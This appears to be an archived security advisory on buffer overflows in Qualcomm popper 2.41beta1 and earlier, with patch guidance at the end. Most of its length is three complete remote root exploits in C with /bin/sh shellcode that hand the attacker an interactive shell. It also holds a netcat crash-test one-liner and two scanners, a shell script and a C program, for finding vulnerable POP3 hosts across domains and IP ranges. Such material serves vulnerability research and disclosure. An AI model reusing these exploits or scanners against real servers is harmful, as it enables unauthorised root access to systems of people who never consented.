COMMAND

    popper

SYSTEMS AFFECTED

    Systems running Qualcomm popper 2.41beta1 and prior

PROBLEM

    Several vulerabilities have been found regarding Qualcomm  popper.
    Those vulnerabilities may lead  to remote exploitation.   Here's a
    brief info.

    By Seth McGann:
    ===============
    The  most  obvious  offender  is  the  vsprintf()  on  line  66 of
    pop_msg.c.

    By Miquel van Smoorenburg
    =========================
    Buffer overflow  in X-UIDL  processing (compromise  an account  by
    sending mail to  it ..)   The UIDL handling  in pop_dropcopy.c can
    potentially later result in a buffer overflow.  Overflow  actually
    ocurrs in  pop_udil.c and  the prevention  of the  overflow is  by
    limiting the uidl length in pop_dropcopy.c.  Overflow is  possible
    because both  data from  the X-UIDL  header and  the from line are
    combined in one sprintf().

    By Aaron D. Gifford (appendum to Miquel van Smoorenburg finding)
    ================================================================
    Further investigation  resulted in  another potential  overflow in
    pop_uidl.c that can occur even when uidl length is limited to  128
    chars.   The  potential  overflow  can  occur  in  the pop_euidl()
    function in two different spots where this code appears:

        sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
        if (nl = index(buffer, NEWLINE)) *nl = 0;
        sprintf(buffer, "%s %d %s", buffer, mp->length, from_hdr(p, mp));

    Even with mp->uidl_str limited  to 128 chars, the  from_hdr(p, mp)
    code can  return the  text from  a message's  "From:" header which
    could then overflow the buffer.  Also, the from_hdr() function  in
    the pop_uidl.c file  returning a pointer  to a non-static  buffer?
    That's wrong, is it not?  It is defined:

        char buf[MAXLINELEN], *cp;

    Should it not instead be:

        char        * cp;
        static char   buf[MAXLINELEN];

    by John Fraizer
    ===============
    After applying all the patches with exception of the PAM patch  in
    the .RPM'd version of  qpopper2.4.src, he has located  yet another
    hole in  qpopper.   This popper  was compiled  with -DAUTH  in the
    makefile.  Connecting to the popper and sending a line of  garbage
    will now generate the maximum permitted size error.  Providing  an
    INVALID username and sending a line of garbage (1000+ chars), does
    not segfault, but with VALID username will seg fault.  Looks  like
    basically that if the parser sees that the command was actually  a
    password argument, it doesn't send it through the truncate code.

    To see if you're vulnerable:

        perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | nc -i 2 target 110

    Of course, assuming you have netcat (nc) on your system... if not,
    just telnet to  your server and  paste something like  20 lines of
    solid characters into  your telnet window...  You'll get the  -ERR
    response  back...  at  which  point  unpatched servers should core
    dump... and you  get "Connection closed  by foreign host."   Stock
    BSDi 3.0(3.1) all the latest patches(M310-034) DOES core dump, but
    does not print out the 'ERR', so BSDi people may want to keep that
    in mind.

    Herbert Rosmanith posted  exploit.  Note  that, after "qpush"  has
    successfully executed /bin/sh, you  will not see any  prompt. type
    "id" to see who you are, like that:

        $ ./qpush technix.oeh
        дояїдояїдояїдояїдояї
        id
        uid=0(root) gid=0(root)

    Before exploit,  more info  about him  (regarding only  first one,
    after there's another  for Linux and  one for BSDish  systems plus
    two scanners for vulnerable sites):
    o target  architecure: that's  the architecure  where popper runs.
      this must be ix86-linux. Will  not work on FreeBSD or  any other
      OS.
    o  'local'  architecure:  that's  the  programm to run 'qpush' on.
      this can be  anything you want,  but mind that  on other systems
      than linux, you  may have to  add header files  and/or libaries.
      don't  forget  to  byte-swap  (ntohl())  the addrlist entries on
      big endian machines.
    o debian QPOP v2.2 seems to be immune to 'qpush' ?
    o if  you have  compiled popper  yourself, the  return adresses in
      "addrlist"  may  not  match  your  binary.  try  altering  these
      adresses.
    o 'qpush' at least works for suse-linux qpopper v2.2 (same  binary
      every- where). suse has been mailed about that.
    o I've check qpush with several homebrewed binaries and found that

        long addrlist[]={
          0xbfffeee4,             /*2.2*/
          0xbfffeb80              /*2.41beta1*/
        }

    will work better than the  "0xbfffec18              /*2.41beta1*/"
    before.  Blah, here's the exploit:

    /* qpush: qualcom popper buffer overflow exploit (pop_msg)
     * Mon Jun 29 01:26:06 GMT 1998 - herp
     *                                Herbert Rosmanith
     *                                herp@wildsau.idv.uni-linz.ac.at
     */

    #include        <stdio.h>
    #include        <sys/time.h>
    #include        <sys/types.h>
    #include        <netinet/in.h>
    #include        <netdb.h>
    #include        <signal.h>
    #include        <unistd.h>
    #include        <errno.h>

    long addrlist[]={
            0xbfffeee4,             /*2.2*/
            0xbfffec2c              /*2.41beta1*/
    };

    char shellcode[] =
        "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
        "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
        "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
        "\xff\xff/bin/sh.........";

    void die(char *s) {
            if (errno) perror(s);
            else fprintf(stderr,"%s\n",s);
            exit(-1);
    }

    void usage() {
            printf("qpush [-index] <hostname>\n"
                   " -0 QPOP Version 2.2             (default)\n"
                   " -1 QPOP Version 2.41beta1\n");
            exit(0);
    }

    int resolv(char *host,long *ipaddr) {
            if (isdigit(host[0])) {
                    *ipaddr=inet_addr(host);
                    if (*ipaddr==-1) return -1;
            }
            else {
                    struct hostent *hp;
                    if ((hp=gethostbyname(host))==NULL) {
                            fprintf(stderr,"tc: %s: unknown host\n");
                            exit(-1);
                    }
                    *ipaddr=*(unsigned long *)hp->h_addr;
            }
            return 0;
    }

    int connect_to(char *hostname,short port) {
    struct sockaddr_in s_in;
    int s;

            s=socket(PF_INET,SOCK_STREAM,0);
            if (s==-1) die("socket");

            if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
                    die("unknown host");
            s_in.sin_family=AF_INET;
            s_in.sin_port=htons(port);

            if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
                    die("connect");

            return s;
    }

    void socket_read(int s,char *buf,int len) {
    int i;
            switch(i=read(s,buf,len)) {
            case -1: die("unexpected EOF");
            case  0: die("EOF");
            default:
                    buf[i]=0;
                    //printf("%s",buf);
                    break;
            }
    }

    void terminal(int s) {
    char buf[1024];
    fd_set rfds;
    fd_set fds;
    int i;

            for (i=0;i<NSIG;i++) signal(i,SIG_IGN);
            FD_ZERO(&fds);
            FD_SET(0,&fds);
            FD_SET(s,&fds);
            for (;;) {
                    memcpy(&rfds,&fds,sizeof(fds));
                    i=select(s+1,&rfds,NULL,NULL,NULL);
                    if (i==-1) die("select");
                    if (i==0) die("session closed");
                    if (FD_ISSET(s,&rfds)) {
                            if ((i=read(s,buf,sizeof(buf)))<1)
                                    die("session closed");
                            write(1,buf,i);
                    }
                    if (FD_ISSET(0,&rfds)) {
                            if ((i=read(0,buf,sizeof(buf)))<1)
                                    die("session closed");
                            write(s,buf,i);
                    }
            }
    }

    void main(int argc,char *argv[]) {
    char buf[1024+128];
    int s,i,ix;

            if (argc>=2 && argv[1][0]=='-') {
                    ix=atoi(&argv[1][1]);
                    argc--;
                    argv++;
            }
            else ix=0;

            if (argc!=2 || ix>sizeof(addrlist)/sizeof(long))
                    usage();

            s=connect_to(argv[1],110);      /* WKS POP3 */
            socket_read(s,buf,sizeof(buf));
            memset(buf,0x90,sizeof(buf));
            for (i=981;i<981+10*4;i+=4)
                    memcpy(&buf[i],&addrlist[ix],4);
            memcpy(&buf[941],shellcode,strlen(shellcode));
            buf[sizeof(buf)-3]=0x0d;
            buf[sizeof(buf)-2]=0x0a;
            buf[sizeof(buf)-1]=0x00;
            write(s,buf,sizeof(buf));
            socket_read(s,buf,sizeof(buf));
            terminal(s);
    }

    Another example:

    /* Exploit for qpopper 2.4 (and others) for Linux
     *   by [WaR] (warchild@cryogen.com) and zav (zav@cryogen.com)
     *
     *  usage: (./qpopper <offset>;cat)|nc <victim> 110
     *       with offset around 1000 (try increments of 50)
     *
     *
     *    shout outs to: Zef and YZF
     */

    #include <stdio.h>
    #include <stdlib.h>

    #define BUFFSIZE 998

    char shell[] =
       "\xeb\x33\x5e\x89\x76\x08\x31\xc0"
       "\x88\x66\x07\x83\xee\x02\x31\xdb"
       "\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
       "\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
       "\xee\x02\x8d\x5e\x0e\x89\xda\x83"
       "\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
       "\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
       "\xff\xff/bin/sh";

    unsigned long esp()
    {
      __asm__(" movl %esp,%eax ");
    }

    main(int argc, char **argv)
    {
      int i,j,offset;
      unsigned long eip;
      char buffer[4096];

      j=0;
      offset=atoi(argv[1]);
      eip=esp()+offset;
      for(i=0;i<1008;i++) buffer[i]=0x90;
      for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];

      i=1005;
      buffer[i]=eip & 0xff;
      buffer[i+1]=(eip >> 8) & 0xff;
      buffer[i+2]=(eip >> 16) & 0xff;
      buffer[i+3]=(eip >> 24) & 0xff;

      printf("%s\nsh -i\n",buffer);
    }

    BSDish example of exploit:

    /*
     *      QPOPPER - remote root exploit
     *      by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
     *
     *              - tested against: FreeBSD 3.0
     *                                FreeBSD 2.2.x
     *                                BSDI BSD/OS 2.1
     *              - offsets: FreeBSD with qpopper 2.3 - 2.4    0
     *                         FreeBSD with qpopper 2.1.4-R3     900
     *                         BSD/OS  with qpopper 2.1.4-R3     1500
     *
     *      this is for EDUCATIONAL purposes ONLY
     */

    #include        <stdio.h>
    #include        <stdlib.h>
    #include        <sys/time.h>
    #include        <sys/types.h>
    #include        <unistd.h>
    #include        <sys/socket.h>
    #include        <netinet/in.h>
    #include        <netdb.h>

    #include        <sys/errno.h>

    char *shell="\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
                "\x88\x5e\x1c\x8d\x1e\x89\x5e\x0e\x31\xc0\xb0\x3b\x8d\x7e"
                "\x0e\x89\xfa\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
                "\xcf\xeb\x01\xff\x62\x61\x63\x60\xeb\x1b\xe8\xc9\xff\xff"
                "\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
                "\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";

    #define ADDR 0xefbfd504
    #define OFFSET 0
    #define BUFLEN 1200

    char    buf[BUFLEN];
    int     offset=OFFSET;

    int     sock;
    struct  sockaddr_in sa;
    struct  hostent *hp;

    void main (int argc, char *argv[]) {
            int i;

            if(argc<2) {
                    printf("Usage: %s <IP | HOSTNAME> [offset]\n",argv[0]);
                    exit(0);
            }
            if(argc>2)
                    offset=atoi(argv[2]);

            /* Prepare buffer */
            memset(buf,0x90,BUFLEN);
            memcpy(buf+800,shell,strlen(shell));
            for(i=901;i<BUFLEN-4;i+=4)
                    *(int *)&buf[i]=ADDR+offset;
            buf[BUFLEN]='\n';

            /* Resolve remote hostname & connect*/
            if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
                    perror("gethostbyname()");
                    exit(0);
            }
            if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
                    perror("socket()");
                    exit(0);
            }
            sa.sin_family=AF_INET;
            sa.sin_port=htons(110);
            memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
            if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
                    perror("connect()");
                    exit(0);
            }
            printf("CONNECTED TO %s... SENDING DATA\n",argv[1]); fflush(stdout);
            /* Write evil data */
            write(sock,buf,strlen(buf));

            /* Enjoy root shell ;) */
            while(1) {
                    fd_set input;

                    FD_SET(0,&input);
                    FD_SET(sock,&input);
                    if((select(sock+1,&input,NULL,NULL,NULL))<0) {
                            if(errno==EINTR) continue;
                            printf("CONNECTION CLOSED...\n"); fflush(stdout);
                            exit(1);
                    }
                    if(FD_ISSET(sock,&input))
                            write(1,buf,read(sock,buf,BUFLEN));
                    if(FD_ISSET(0,&input))
                            write(sock,buf,read(0,buf,BUFLEN));
            }
    }

    And now let's take a look at scanners.  First one comes in form of
    shell script made by 'twiztah':

    #qpopscan.sh by twiztah 7/5/98, enjoy script kidz.
    #----[snip]-----------------------------------------

    rm -rf qpscan 2>&1
    ln -s `which telnet` qpscan

    if test ! -r scanned.log; then
      rm -rf scanned.log
      touch scanned.log
    fi

    echo "+---------------------------------------------------+"
    echo "| qpopscan.sh by twiztah [twiztah@maxho.com] 7/5/98 |"
    echo "+---------------------------------------------------+"

    if test -z $1; then
      echo "uhm, i dont think you passed a parameter.."
      echo "usage: "`basename $0`" yourdomain.com"
      exit 0
    fi

    echo "scan("`grep -c scan scanned.log`"):" `date +"["%D" "%l:%M%p"]"` "-- $1" >> scanned.log
    echo "[1] now scanning for subnets ($1)"

    host -l $1 > $1.hostlist 2>&1
    rm -rf subnet-do mailhosts 2>&1
    cat $1.hostlist | grep "name server" | awk -F ' ' ' {print "host -l " $1 " >> mailhosts"}' >> subnet-do 2>&1

    sort < subnet-do > subnet-do.sorted 2>&1
    uniq < subnet-do.sorted > subnet-do.uniq 2>&1
    rm -rf subnet-do subnet-do.sorted 2>&1
    mv subnet-do.uniq subnet-do 2>&1
    chmod 755 subnet-do 2>&1
    rm -rf $1.hostlist 2>&1

    echo "[2] now setting up the scan ($1)"
    ./subnet-do 2>&1
    rm -rf subnet-do todo chk-qp 2>&1

    cat mailhosts | grep "has address" | awk -F ' ' ' {print "./qpscan "$4" 110 >> chk-qp 2>&1 | (sleep 8 ; killall -9 qpscan > /dev/null 2>&1)"}' >> todo 2>&1

    sort < todo > sorted.todo 2>&1
    uniq < sorted.todo > uniqed.todo 2>&1
    rm -rf todo sorted.todo 2>&1
    mv uniqed.todo todo 2>&1
    chmod 755 todo 2>&1

    echo "[3] now scanning" `grep -c . todo` "machines for qpopper ($1)"
    ./todo > /dev/null 2>&1

    rm -rf mailhosts todo 2>&1

    echo "[4] done scanning ($1)"
    echo ""

    #we dont need the patched ones
    cat chk-qp | grep -v 2.5 >> results.$1.stripped 2>&1

    mv chk-qp results.$1.original 2>&1

    echo "[!] QUALCOMM appeared : "`grep -ic QUALCOMM results.$1.stripped` "times"
    echo "[!] QPOP appeared     : "`grep -ic QPOP results.$1.stripped` "times"
    echo "[*] original results  : "results.$1.original
    echo "[*] stripped results  : "results.$1.stripped
    echo "[%] this was scan num : "`grep -c scan scanned.log`
    echo ""
    echo "greets to: promo, joker, meta, retro, sinkhole, mj, icetrey and qualcomm"
    echo "-[ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper2.52.tar.Z]-"
    echo ""

    #eof
    #----[snap]-----------------------------------------
    #i am not responsible for the use of this script

    Second one  is in  form of  C souce  and it  won't give you popper
    version:

    /*
     Black Angel proudly presents:
     -----------------------------
     QPOP Scanner V1.0

     Syntax :

        ./qscan 195.3.90.2 196.0.0.0 <- will scan the specified IP range
    */

    /*well I don't know whether we will need all, but... :)*/
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <signal.h>
    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <ctype.h>
    #include <arpa/nameser.h>
    #include <sys/stat.h>
    #include <strings.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/socket.h>

    void main(int argc, char *argv[])
    {
     int sock;
     struct in_addr addr;
     struct sockaddr_in sin;
     unsigned long start;
     unsigned long end;
     unsigned long counter;
     char buffer[1000];

     printf("Black Angel's QPOP Scanner V1.0 7/1998\n");
     printf("E-Mail : b_angel98@yahoo.com\n\n");

     if (argc!=3)
     {
      printf("\nusage : %s start-ip-address  end-ip-address\n\n",argv[0]);
      exit(0);
     }

     start=inet_addr(argv[1]);
      end=inet_addr(argv[2]);

     sock=socket(AF_INET, SOCK_STREAM, 0);

     for (counter = ntohl(start); counter <= ntohl(end); counter++)
     {
      if ((counter & 0xff) == 255) counter++;
      if ((counter & 0xff) == 0)   counter++;

      sin.sin_family=AF_INET;
      sin.sin_port=htons(110);
      sin.sin_addr.s_addr=htonl(counter);
      addr.s_addr=htonl(counter);
      if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))==0)
      {
       read(sock, buffer, sizeof(buffer));
       if (strstr(buffer, "QPOP")!=NULL)
       {
        fprintf(stdout, "FOUND : %s\n", inet_ntoa(addr));
       }
      }
     }
     close(sock);
    }

SOLUTION

    A patched qpopper2.52 is made available at:

        ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper2.52.tar.Z

    Please upgrade or patch your server if you are running any qpopper
    older  than  2.52.    Silicon  Graphics  distributes  a   freeware
    BSD/Qualcomm  POP  server  called  fw_BSDqpopper   which is on the
    Freeware 1.0/2.0 CD and also  on the WebFORCE CDs.   fw_BSDqpopper
    is also available from the web via:

        http://toolbox.sgi.com/TasteOfDT/public/